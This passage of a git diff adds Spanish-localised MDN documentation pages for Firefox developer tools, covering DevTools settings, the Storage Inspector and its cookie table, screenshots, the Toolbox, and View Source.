+<p>This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.</p>
+
+<h3 id="Available_Toolbox_Buttons">Available Toolbox Buttons</h3>
+
+<p>This group of checkboxes determines which tools get <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Extra_tools">an icon in the Toolbox's toolbar</a>.</p>
+
+<p>Note that in Firefox 52 we removed the checkbox to toggle the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Select_element_button">"Select element" button</a>. The "Select element" button is now always shown.</p>
+
+<h3 id="Themes">Themes</h3>
+
+<p>This enables you to choose one of three different themes.</p>
+
+<p>There's a light theme, which is the default:</p>
+
+<p><img alt="Light theme for DevTools" src="https://mdn.mozillademos.org/files/13172/theme-light-shadowed.png" style="display: block; height: 317px; margin-left: auto; margin-right: auto; width: 890px;"></p>
+
+<p>A dark theme (the default on <a href="/en-US/docs/Mozilla/Firefox/Developer_Edition">Firefox Developer Edition</a>):</p>
+
+<p><img alt="Dark theme for DevTools" src="https://mdn.mozillademos.org/files/13168/theme-dark.png" style="display: block; height: 306px; margin-left: auto; margin-right: auto; width: 875px;"></p>
+
+<p>There's also a Firebug theme that looks like the <a href="https://getfirebug.com/">Firebug extension</a>, letting you feel at home if you're used to Firebug:</p>
+
+<p><img alt="Firebug theme for DevTools" src="https://mdn.mozillademos.org/files/13170/theme-firebug-shadowed.png" style="display: block; height: 318px; margin-left: auto; margin-right: auto; width: 890px;"></p>
+
+<h3 id="Common_preferences">Common preferences</h3>
+
+<p>Settings that apply to more than one tool. There's just one of these:</p>
+
+<dl>
+ <dt><em>Enable persistent logs</em></dt>
+ <dd>A setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.</dd>
+</dl>
+
+<h3 id="Inspector_2">Inspector</h3>
+
+<dl>
+ <dt><em>Show browser styles</em></dt>
+ <dd>A setting to control whether styles applied by the browser (<a href="/en-US/docs/Web/CSS/Cascade">user-agent styles</a>) should be displayed in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_CSS_rules">Rules view</a>. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Computed view</a>.</dd>
+ <dt><em>Truncate DOM attributes</em></dt>
+ <dd>By default, the Inspector truncates DOM attributes that are more than 120 characters long. Uncheck this box to prevent this behavior. This setting works by toggling the about:config preference "devtools.markup.collapseAttributes". To change the threshold at which attributes are truncated, you can edit the about:config preference "devtools.markup.collapseAttributeLength".</dd>
+ <dt><em>Default color unit</em></dt>
+ <dd>A setting to control how colors are represented in the inspector:
+ <ul>
+  <li>Hex</li>
+  <li>HSL(A)</li>
+  <li>RGB(A)</li>
+  <li>color name</li>
+  <li>As authored.</li>
+ </ul>
+ </dd>
+ <dt><em>Enable layout panel</em></dt>
+ <dd>Enable the experimental layout panel. This setting only exists in Firefox Nightly.</dd>
+</dl>
+
+<h3 id="Web_Console">Web Console</h3>
+
+<dl>
+ <dt><em>Enable timestamps</em></dt>
+ <dd>Controls whether the Web Console displays timestamps. The Web Console defaults to hiding timestamps.</dd>
+ <dt><em>Enable new console frontend</em></dt>
+ <dd>Switch to the experimental new console. This setting only exists in Firefox Nightly.</dd>
+</dl>
+
+<h3 id="Debugger">Debugger</h3>
+
+<dl>
+ <dt><em>Enable Source Maps</em></dt>
+ <dd>Enable <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map support</a> in the debugger.</dd>
+ <dt><em>Enable new debugger frontend</em></dt>
+ <dd>Enable the new debugger. This setting only exists in Firefox Nightly.</dd>
+</dl>
+
+<h3 id="Style_Editor">Style Editor</h3>
+
+<dl>
+ <dt><em>Show original sources</em></dt>
+ <dd>When a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. <a href="/en-US/docs/Tools/Style_Editor#Source_map_support">Learn more about Style Editor support for CSS source maps</a>. With this setting checked, the <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Link_to_CSS_file">Page Inspector Rules view will also provide links to the original sources</a>.</dd>
+ <dt><em>Autocomplete CSS</em></dt>
+ <dd>Enable the Style Editor to offer autocomplete suggestions.</dd>
+</dl>
+
+<h3 id="Screenshot_Behavior">Screenshot Behavior</h3>
+
+<dl>
+ <dt><em>Screenshot to clipboard</em></dt>
+ <dd>When you click the icon for the <a href="/en-US/docs/Tools/Screenshot_tool">Screenshot tool</a>, copy the screenshot image to the clipboard (the image will still be saved to your Downloads directory). New in Firefox 53.</dd>
+ <dt><em>Play camera shutter sound</em></dt>
+ <dd>When you click the icon for the <a href="/en-US/docs/Tools/Screenshot_tool">Screenshot tool</a>, play a shutter sound. New in Firefox 53.</dd>
+</dl>
+
+<h3 id="Editor_Preferences">Editor Preferences</h3>
+
+<p>Preferences for the <a href="http://codemirror.net/">CodeMirror</a> source editor, which is included in Firefox and used by several developer tools, including <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a> and the <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>.</p>
+
+<dl>
+ <dt><em>Detect indentation</em></dt>
+ <dd>Auto-indent new lines based on the current indentation.</dd>
+ <dt><em>Autoclose brackets</em></dt>
+ <dt> </dt>
+ <dt><em>Indent using spaces</em></dt>
+ <dt> </dt>
+ <dt><em>Tab size</em></dt>
+ <dt> </dt>
+ <dt><em>Keybindings</em></dt>
+ <dd>Choose the default CodeMirror keybindings or keybindings from one of several popular editors:
+ <ul>
+  <li>Vim</li>
+  <li>Emacs</li>
+  <li>Sublime Text</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Advanced_settings">Advanced settings</h3>
+
+<dl>
+ <dt><em>Show Gecko platform data</em></dt>
+ <dd>A setting to control whether or not profiles should include Gecko platform symbols.</dd>
+</dl>
+
+<dl>
+ <dt><em>Disable HTTP Cache</em></dt>
+ <dd>Disable the browser HTTP cache to simulate first-load performance in all tabs that have the Toolbox open. This setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. Caching is re-enabled when the devtools are closed. Note that service workers are not affected by this option.
+ <div class="note">Note that this option was called "Disable Cache" in Firefox versions previous to 49, but it was renamed to make it clearer that this affects the HTTP cache, and not <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>/the <a href="/en-US/docs/Web/API/Cache">Cache API</a>.</div>
+ </dd>
+ <dt><em>Disable JavaScript</em></dt>
+ <dd>Reload the current tab with JavaScript disabled.</dd>
+ <dt><em>Enable Service Workers over HTTP</em></dt>
+ <dd>Enable Service Worker registrations from insecure websites.</dd>
+ <dt><em>Enable browser chrome and add-on debugging toolboxes</em></dt>
+ <dd>Enable you to use developer tools in the context of the browser itself, and not only web content.</dd>
+ <dt><em>Enable remote debugging</em></dt>
+ <dd>Enable the developer tools to <a href="/en-US/docs/Tools/Remote_Debugging">debug remote Firefox instances</a>.</dd>
+ <dt><em>Enable worker debugging</em></dt>
+ <dd>Enable a panel within the debugger to debug workers.
+ <p class="note">Note: This option got removed from the UI in Firefox 56, because this version ships with a <a href="/en-US/docs/Tools/Debugger">new Debugger UI</a>, but it can still be enabled for the old UI by setting the preference <code>devtools.debugger.workers</code> to <code>true</code>.</p>
+ </dd>
+</dl>
diff --git a/files/es/tools/storage_inspector/cookies/index.html b/files/es/tools/storage_inspector/cookies/index.html
new file mode 100644
index 0000000000..a62f7c2dd3
--- /dev/null
+++ b/files/es/tools/storage_inspector/cookies/index.html
@@ -0,0 +1,51 @@
+---
+title: Cookies
+slug: Tools/Storage_Inspector/Cookies
+tags:
+  - Almacenamiento
+  - Cookies
+  - Firefox
+  - Guía
+  - Herramientas
+  - Herramientas de desarrollo
+  - Inspector de almacenamiento
+translation_of: Tools/Storage_Inspector/Cookies
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>Cuando seleccionas un origen dentro del tipo de almacenamiento de Cookies del árbol de almacenamiento, todas las cookies existentes para ese origen aparecerán listadas en una tabla. La tabla de cookies tiene las siguientes columnas:</p>
+
+<ul>
+ <li><em>Name</em> — El nombre de la cookie.</li>
+ <li><em>Value</em> — El valor de la cookie.</li>
+ <li><em>Domain</em> — El dominio de la cookie.</li>
+ <li><em>Path</em> — La propiedad path de la cookie.</li>
+ <li><em>Expires / Max-Age</em> — El tiempo cuando la cookie expirará. Si la cookie es una cookie de sesión, el valor de esta columna será "Session".</li>
+ <li><em>Size</em> — El tamaño del nombre de la cookie mas el valor en bytes.</li>
+ <li><em>HttpOnly</em> — ¿Es esta cookie sólo HTTP ?</li>
+ <li><em>Secure</em> — ¿Es esta cookie una cookie segura?</li>
+ <li><em>SameSite</em> — Is this cookie a same-site cookie? Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.</li>
+ <li><em>Last accessed</em> — Date and time when the cookie was last read.</li>
+ <li><em>Created</em> — Date and time when the cookie was created.</li>
+ <li><em>HostOnly</em> — Is this cookie a domain cookie? That is, the domain value matches exactly the domain of the current website.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the columns are not shown by default — to change the column display, right-click on the existing table headings and use the resulting context menu to show/hide the columns.</p>
+</div>
+
+<p>You can edit cookies by double-clicking inside cells in the <a href="/en-US/docs/Tools/Storage_Inspector#Table_Widget">Table Widget</a> and editing the values they contain, and add new cookies by clicking the "Plus" (+) button and then editing the resulting new row to the value you want.</p>
+
+<h3 id="Context_menu">Context menu</h3>
+
+<p>The context menu for each cookie includes the following commands:</p>
+
+<ul>
+ <li><em>Add item</em> - add a new cookie.</li>
+ <li><em>Delete &lt;cookie name&gt;.&lt;domain&gt;</em> - deletes the selected cookie</li>
+ <li><em>Delete All From &lt;domain&gt;</em> - deletes all cookies from the selected domain. This must be an exact match. For example, if you select "Delete All From test8.example.com" only cookies from that domain will be deleted. Cookies from "test13.example.com" will not be deleted.</li>
+ <li><em>Delete All</em> - deletes all cookies for the current host.</li>
+ <li><em>Delete All Session Cookies</em> - deletes all cookies for the current host that are scheduled to be deleted when the browser shuts down</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16811/cookie_table_widget_context.png" style="border: 1px solid black; display: block; height: 250px; margin-left: auto; margin-right: auto; width: 924px;"></p>
diff --git a/files/es/tools/storage_inspector/index.html b/files/es/tools/storage_inspector/index.html
new file mode 100644
index 0000000000..ae4fc8d026
--- /dev/null
+++ b/files/es/tools/storage_inspector/index.html
@@ -0,0 +1,124 @@
+---
+title: Storage Inspector
+slug: Tools/Storage_Inspector
+tags:
+  - Cookies
+  - Dev Tools
+  - Firefox
+  - Guide
+  - IndexedDB
+  - Local Storage
+  - NeedsTranslation
+  - Session Storage
+  - Storage
+  - Tools
+  - TopicStub
+translation_of: Tools/Storage_Inspector
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:</p>
+
+<ul>
+ <li><em>Cache Storage</em> — any DOM caches created using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>.</li>
+ <li><em>Cookies</em> — All the <a href="/en-US/docs/Web/API/Document/cookie">cookies</a> created by the page or any iframes inside of the page. Cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open.</li>
+ <li><em>IndexedDB</em> — All <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> databases created by the page or any iframes inside the page, their Object Stores and the items stored in these Object Stores.</li>
+ <li><em>Local Storage</em> — All <a href="/en-US/docs/Web/API/Window/localStorage">local storage</a> items created by the page or any iframes inside the page.</li>
+ <li><em>Session Storage</em> — All <a href="/en-US/docs/Web/API/Window/sessionStorage">session storage</a> items created by the page or any iframes inside the page.</li>
+</ul>
+
+<p>For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.</p>
+
+<h2 id="Opening_the_Storage_Inspector">Opening the Storage Inspector</h2>
+
+<p>You can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on macOS), or by pressing its <kbd>Shift</kbd> + <kbd>F9</kbd> keyboard shortcut.</p>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16764/storage_inspector.png" style="display: block; margin: 0px auto; width: 600px;"></p>
+
+<h2 id="Storage_Inspector_User_Interface">Storage Inspector User Interface</h2>
+
+<p>The Storage Inspector UI is split into three main components:</p>
+
+<ul>
+ <li><a href="#storage-tree">Storage tree</a></li>
+ <li><a href="#table-widget">Table Widget</a></li>
+ <li><a href="#sidebar">Sidebar</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16765/storage_labeled.png" style="display: block; margin: 0 auto; width: 600px;"></p>
+
+<h3 id="Storage_tree"><a name="storage-tree">Storage tree</a></h3>
+
+<p>The storage tree lists all the storage types that the Storage Inspector can inspect:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16766/storage_types.png" style="display: block; height: 129px; margin: 0 auto; width: 400px;"></p>
+
+<p>Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.</p>
+
+<p>Under "Cache Storage", objects are organized by origin and then by the name of the cache:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16802/cache_storage.png" style="border: 1px solid black; display: block; height: 215px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>IndexedDB objects are organized by origin, then by database name, then by object store name:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16804/indexedDb_storage.png" style="border: 1px solid black; display: block; height: 193px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16803/cookie_storage.png" style="border: 1px solid black; display: block; height: 217px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.</p>
+
+<p>Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.</p>
+
+<h3 id="Table_Widget"><a name="table-widget">Table Widget</a></h3>
+
+<p>The table widget displays a list of all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.</p>
+
+<p>All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16767/cookie_context_menu.png" style="border: 1px solid black; display: block; height: 330px; margin-left: auto; margin-right: auto; width: 914px;"></p>
+
+<h3 id="Search">Search</h3>
+
+<p>There's a search box at the top of the Table Widget:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16808/storage_detail_filter.png" style="border: 1px solid black; display: block; height: 249px; margin-left: auto; margin-right: auto; width: 926px;"></p>
+
+<p>This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.</p>
+
+<p>You can use <kbd>Ctrl</kbd> + <kbd>F</kbd> (<kbd>Cmd</kbd> + <kbd>F</kbd> on a Mac) to focus the search box.</p>
+
+<h3 id="Add_and_refresh_storage">Add and refresh storage</h3>
+
+<p>You'll also have buttons available to add a new storage entry or refresh the view of the currently viewed storage type where applicable (you can't add new entries to IndexedDB or Cache):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16809/storage_detail_add_refresh.png" style="border: 1px solid black; display: block; height: 249px; margin: 0px auto; width: 926px;"></p>
+
+<h3 id="Sidebar"><a name="sidebar">Sidebar</a></h3>
+
+<p>When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.</p>
+
+<p>The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:</p>
+
+<ul>
+ <li>A stringified JSON like <code>'{"foo": "bar"}'</code> is shown as the origin JSON: <code>{foo: "bar"}</code>.</li>
+ <li>A string containing a key separated value, like <code>"1~2~3~4"</code> or <code>"1=2=3=4"</code> is shown like an array: <code>[1, 2, 3, 4]</code>.</li>
+ <li>A string containing key-value pairs, like <code>"ID=1234:foo=bar"</code> is shown as JSON: <code>{ID:1234, foo: "bar"}</code>.</li>
+</ul>
+
+<p>The shown values can also be filtered using the search box at the top of the sidebar.</p>
+
+<h2 id="Working_with_the_Storage_Inspector">Working with the Storage Inspector</h2>
+
+<p>The following articles cover different aspects of using the network monitor:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector/Cookies">Cookies</a></li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector/Local_Storage_Session_Storage">Local Storage / Session Storage</a></li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector/Cache_Storage">Cache Storage</a></li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector/IndexedDB">IndexedDB</a></li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector/Extension_Storage">Extension Storage</a></li>
+</ul>
diff --git a/files/es/tools/tomar_capturas_de_pantalla/index.html b/files/es/tools/tomar_capturas_de_pantalla/index.html
new file mode 100644
index 0000000000..d842153d65
--- /dev/null
+++ b/files/es/tools/tomar_capturas_de_pantalla/index.html
@@ -0,0 +1,42 @@
+---
+title: Tomar capturas de pantalla
+slug: Tools/Tomar_capturas_de_pantalla
+tags:
+  - Herramientas
+translation_of: Tools/Taking_screenshots
+---
+<p>Puedes usar las Herramientas de Desarrollo (Developer Tools) para tomar una captura de pantalla de toda la página, o de un único elemento de la página.</p>
+
+<h2 id="Tomar_una_captura_de_pantalla_de_la_página">Tomar una captura de pantalla de la página</h2>
+
+<p>Usa el ícono de captura de pantalla: <img alt="" src="https://mdn.mozillademos.org/files/14713/camera-icon.png" style="height: 16px; margin-bottom: -4px; width: 18px;"> para tomar una captura completa de la página actual.</p>
+
+<p>Por defecto, el ícono de captura de pantalla no está habilitado. Para habilitarlo::</p>
+
+<ul>
+ <li>visita la página de  <a href="/en-US/docs/Tools/Settings">Ajustes (Settings)</a></li>
+ <li>encuentra la sección con el texto "Available Toolbox Buttons"</li>
+ <li>marca la caja con la etiqueta "Take a screenshot of the entire page".</li>
+</ul>
+
+<p>Verás el ícono en la barra de herramientas:</p>
+
+<p>{{EmbedYouTube("KB5V9uJgcS4")}}</p>
+
+<p>Haz clic en el ícono para tomar una capura de la página actual. La captura se guarda en el directorio de descargas de tu navegador:</p>
+
+<p>{{EmbedYouTube("HKS6MofdXVE")}}</p>
+
+<h2 id="Tomar_una_captura_de_un_elemento">Tomar una captura de un elemento</h2>
+
+<p>Para tomar una captura de un único elemento en la página, activa el menú contextual en ese elemento en el <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panel HTML del Inspector</a>, y selecciona "Screenshot Node". La captura se guarda en el directorio de descargas del navegador:</p>
+
+<p>{{EmbedYouTube("p2pjF_BrE1o")}}</p>
+
+<h2 id="Copiar_capturas_de_pantalla_al_portapapeles">Copiar capturas de pantalla al portapapeles</h2>
+
+<p>Desde Firefox 53, también puedes copiar la captura al portapapeles. Sólo marca la caja en Ajustes con la etiqueta "Screenshot to clipboard":</p>
+
+<p>{{EmbedYouTube("AZedFGh6F78")}}</p>
+
+<p>Ahora, cuando tomes una captura, la captura también es copiada al portapapeles.</p>
diff --git a/files/es/tools/tools_toolbox/index.html b/files/es/tools/tools_toolbox/index.html
new file mode 100644
index 0000000000..ff2f3c4481
--- /dev/null
+++ b/files/es/tools/tools_toolbox/index.html
@@ -0,0 +1,105 @@
+---
+title: Caja de herramientas
+slug: Tools/Tools_Toolbox
+tags:
+  - Guía
+  - Herramientas
+translation_of: Tools/Tools_Toolbox
+---
+<p>La Caja de herramientas proporciona un único lugar para todas las herramientas de desarrollo que están incorporadas en Firefox.</p>
+
+<p>Puedes abrirla de varias maneras:</p>
+
+<ul>
+ <li>Abriendo el menú Herramientas del navegador, selecciona "Desarrollador web" y después "Inspector" o "Alternar Herramientas".</li>
+ <li>haz click en el icono de la llave en la barra de herramientas principal o en el menú hamburguesa y después en "Inspector" o "Alternar Herramientas".</li>
+ <li>Activando cualquier herramienta alojada en la barra de herramientas: por ejemplo, el depurador JavaScript o el Inspector de la página.</li>
+ <li>Presionando <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> en Windows y Linux, o <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> en OS X. Explora también los <a href="https://developer.mozilla.org/es/docs/Tools/Keyboard_shortcuts">atajos de teclado</a>.</li>
+</ul>
+
+<p>Por defecto, la ventana aparece acoplada en la parte inferior de la ventana de Firefox, pero se puede desprender si así lo deseas. Esto es lo que parece cuando está acoplado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6923/toolbox.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>La ventana está dividida en dos partes: una barra de herramientas en la parte superior y un panel principal inferior:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6925/toolbox-annotated-29.png" style="display: block; height: 471px; margin-left: auto; margin-right: auto; width: 876px;"></p>
+
+<h2 id="Modo_de_Docking">Modo de Docking</h2>
+
+<p>Por defecto, la ventana está en la parte inferior de la ventana del navegador, pero puedes fijarla al lateral, o mostrarla en una ventana separada usando los <a href="/es/docs/Tools/Tools_Toolbox#Toolbox_controls">botones de la barra de herramientas</a>.</p>
+
+<p> A partir de Firefox 41 puedes alternar entre los dos últimos que has utilizado pulsando <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd> en Windows y Linux, o <kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd> en OS X.</p>
+
+<h2 id="Barra_de_herramientas">Barra de herramientas</h2>
+
+<p>La barra de herramientas contiene los controles para activar una herramienta en particular, para fijar / flotar la ventana, y para cerrar la ventana:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7913/toolbox-toolbar-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Selector_de_Elementos">Selector de Elementos</h3>
+
+<p>Empezando por la izquierda, primero hay un botón para activar el selector de elementos (también llamado <em>Selector de nodos</em> o <em>Node picker</em>) que sirve para elegir el elemento de la página que vamos a inspeccionar. Ver <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Select_an_element">Seleccionar un elemento</a>.</p>
+
+<h3 id="Herramientas_alojadas_en_barra_de_herramientas">Herramientas alojadas en barra de herramientas</h3>
+
+<p>Después hay una serie de botones con etiquetas que te permiten cambiar entre las diferentes herramientas alojadas en la barra. La matriz puede incluir las siguientes herramientas:</p>
+
+<ul>
+ <li><a href="/es/docs/Tools/Page_Inspector" title="/en-US/docs/Tools/Page_Inspector">Inspector de página</a></li>
+ <li><a href="/es/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Consola</a></li>
+ <li><a href="/es/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">Depurador </a></li>
+ <li><a href="/es/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Editor de Estilos</a></li>
+ <li><a href="/es/docs/Tools/Profiler" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Analizador</a></li>
+ <li><a href="/es/docs/Tools/Network_Monitor" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Monitor de red</a></li>
+</ul>
+
+<p>Ten en cuenta que no siempre se enumeran todas las herramientas alojadas aquí: sólo se muestran las herramientas realmente disponibles en este contexto (por ejemplo, no todas las herramientas soportan la depuración remota, por tanto si el objetivo de la depuración no es la instancia de Firefox que puso en marcha la ventana, no se mostrarán todas las herramientas alojadas).</p>
+
+<h3 id="Herramientas_Extra">Herramientas Extra</h3>
+
+<p>A continuación están los botones que pueden ponerse o quitarse desde la <a href="#Settings">configuración de la propia barra</a>. Por defecto se incluyen:</p>
+
+<ul>
+ <li><a href="/es/docs/Tools/Web_Console#The_split_console">Alternar consola dividida</a></li>
+ <li><a href="/es/docs/Tools/Responsive_Design_View">Vista de diseño adaptable</a></li>
+ <li><a href="/es/docs/tools/Working_with_iframes">Seleccionar un iframe como el documento actualmente seleccionado</a> (incluído por defecto solo a partir de Firefox 41).</li>
+</ul>
+
+<p>Las siguientes herramientas no están incluídas por defecto, pero puedes incluirlas desde el botón de <a href="#Settings">configuración de la barra de herramientas</a>:</p>
+
+<ul>
+ <li><a href="/es/docs/Tools/Paint_Flashing_Tool" title="/en-US/docs/Tools/HIghlight_Painted_Area">Resaltar el área pintada</a></li>
+ <li><a href="/es/docs/Tools/3D_View" title="/en-US/docs/Tools/3D_View">3D View</a> (No está disponible en Firefox 40)</li>
+ <li><a href="/es/docs/Tools/Scratchpad" title="/en-US/docs/Tools/Scratchpad">Borrador</a></li>
+ <li><a href="/es/docs/Tools/Eyedropper">Seleccionar un color de la propia página</a></li>
+ <li>Hacer una captura de pantalla de la página entera: hace una captura de la página web y la guarda en tu directorio de descargas</li>
+ <li><a href="/es/docs/Tools/Rulers">Alternar reglas en la página</a></li>
+ <li>Medir parte de la página</li>
+</ul>
+
+<h3 id="Controles_de_la_barra_de_herramientas">Controles de la barra de herramientas</h3>
+
+<p>Próximos a la esquina derecha los últimos botones son para:</p>
+
+<ul>
+ <li><a href="#Settings">Opciones de herramientas</a> da acceso a la configuración de las herramientas para desarrolladores.</li>
+ <li>Fijar al lateral de la ventana del navegador: quita la ventana de herramientas de la parte inferior de la ventana del navegador, y la fija al lateral de la ventana del navegador.</li>
+ <li>Mostrar en una ventana separada: alternar entre la ventana independiente y fijar a la ventana del navegador.</li>
+ <li>Cerrar la ventana.</li>
+</ul>
+
+<h2 id="Settings_2"><a name="Settings">Settings</a></h2>
+
+<p>Ver la página de <a href="/es/docs/Tools/Settings">configuración de las herramientas de desarrollador</a>.</p>
+
+
+<h2 id="Panel_principal">Panel principal</h2>
+
+<p>El contenido de la ventana del panel principal está totalmente controlado por, y es específico de la herramienta alojada actualmente seleccionada.</p>
+
+<h2 id="Atajos_de_teclado">Atajos de teclado</h2>
+
+<p>{{ Page ("es/docs/tools/Keyboard_shortcuts", "toolbox-shortcuts") }}</p>
+
+<p>{{ Page ("es/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}</p>
diff --git a/files/es/tools/view_source/index.html b/files/es/tools/view_source/index.html
new file mode 100644
index 0000000000..732a6e3fb8
--- /dev/null
+++ b/files/es/tools/view_source/index.html
@@ -0,0 +1,83 @@
+---
+title: Ver código fuente
+slug: Tools/View_source
+translation_of: Tools/View_source
+---
+<p><span id="result_box" lang="es"><span class="hps">Ver código fuente</span> <span class="hps">permite ver</span> <span class="hps">el código fuente HTML</span> <span class="hps">o XML</span> de<span class="hps"> la</span> <span class="hps">página que estás visitando</span><span>.</span> <span class="hps">Para activar</span> <span class="hps">Ver código fuente:</span></span></p>
+
+<ul>
+ <li>botón derecho del ratón en la página y seleccionar "Ver código fuente de la página"</li>
+ <li>pulsar Ctrl+U, o Cmd+U en OS X</li>
+</ul>
+
+<p>Antes de Firefox 42, se abría una ventana nueva con el código fuente de la página.</p>
+
+<p>Desde Firefox 42 en adelante, el código fuente se muestra en una pestaña nueva. Si quieres mantener el antiguo comportamiento, dirígete al <code>about:config</code> y cambia la preferencia <code>view_source.tab</code> a <code>false</code>.</p>
+
+<p>A partir de Firefox 60 en adelante, la preferencia <code>view_source.tab</code> se ha eliminado ({{bug(1418403)}}) y ya no es posible cambiar el modo de comportamiento de Ver código fuente — el código fuentes siempre aparecerá en pestañas nuevas a partir de ahora.</p>
+
+<h2 id="Características_de_ver_código_fuente">Características de ver código fuente</h2>
+
+<p>Ver código fuente tiene tres características adicionales, a partir de Firefox 40 se pueden acceder a ellas desde el menú contextual en la pestaña de Ver código fuente:</p>
+
+<ul>
+ <li>Ir a la línea</li>
+ <li>Ajustar líneas largas (alternar)</li>
+ <li>Resaltar sintaxis (alternar)</li>
+</ul>
+
+<p>Cuando el resaltado de sintaxis se encuentra activo, también se destacan los errores de interpretado en rojo. Al pasar el ratón sobre los errores se muestra un texto de ayuda que explica el error.</p>
+
+<p>Para acceder a Ir a línea usando el teclado, pulsa <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd>L</kbd> en Mac, o <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd> en Windows o Linux.</p>
+
+<h2 id="Enlazar_a_un_número_de_línea">Enlazar a un número de línea</h2>
+
+<p>Es posible enlazar a un número de línea en particular, añadiendo a la url el ancla #lineNNN el navegador saltará a la línea NNN.</p>
+
+<p>Por ejemplo <a>view-source:https://www.mozilla.org/#line100</a></p>
+
+<p> </p>
+
+<h2 id="Ver_código_fuente_seleccionado">Ver código fuente seleccionado</h2>
+
+<p>Si seleccionas parte de una página web y haces clic con el botón contextual, verás que aparece un item de menú etiquetado como "Ver código fuente seleccionado", que se comporta como "Ver código fuente", excepto que sólo se muestra el código fuente de la selección.</p>
+
+<h2 id="Ver_código_fuente_MathML">Ver código fuente MathML</h2>
+
